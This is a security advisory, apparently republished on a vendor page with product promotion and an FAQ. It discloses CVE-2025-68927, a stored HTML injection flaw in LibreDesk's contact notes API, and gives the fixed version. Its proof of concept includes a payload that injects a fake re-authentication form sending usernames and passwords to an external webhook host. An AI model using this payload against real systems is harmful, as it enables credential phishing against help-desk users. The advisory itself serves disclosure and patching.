Summary
Libredesk has Improper Neutralization of HTML Tags in a Web Page
LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.
Details
When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.
By intercepting the request to:
POST /api/v1/contacts/3/notes
and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.
As a result:
- Arbitrary HTML tags (e.g.,
<form>,<input>,<img>) are stored - The injected HTML is rendered when the notes are viewed in the application
- No server-side HTML sanitization or allowlisting is enforced
This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.
PoC
Log in to LibreDesk and open any contact.
Add a note normally via the UI.
Intercept the request to:
POST /api/v1/contacts/3/notesOriginal request body (example):
{ "note": "<p>This is a normal note</p>" }Modify the payload by removing the
<p>tag and injecting arbitrary HTML:{ "note": "<form action='https://webhook.site/xxxx' method='POST'> <input type='text' name='username' placeholder='Username'> <input type='password' name='password' placeholder='Password'> <input type='submit' value='Re-authenticate'> </form>" }Forward the request.
View the contact note in the LibreDesk UI.
Result:
The injected HTML form is rendered inside the application.
Impact
This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.
Potential impact includes:
- Credential phishing through injected forms
- CSRF-style forced actions using HTML-only forms
- UI redress and social engineering
- Increased risk if notes are viewed by privileged users (e.g., admins or agents)
If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-68927? CVE-2025-68927 is a high-severity cross-site scripting (XSS) vulnerability in github.com/abhinavxd/libredesk (go), affecting versions < 0.8.6-beta. It is fixed in 0.8.6-beta. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of github.com/abhinavxd/libredesk are affected by CVE-2025-68927? github.com/abhinavxd/libredesk (go) versions < 0.8.6-beta is affected.
- Is there a fix for CVE-2025-68927? Yes. CVE-2025-68927 is fixed in 0.8.6-beta. Upgrade to this version or later.
- Is CVE-2025-68927 exploitable, and should I be worried? Whether CVE-2025-68927 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-68927 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-68927? Upgrade
github.com/abhinavxd/libredeskto 0.8.6-beta or later.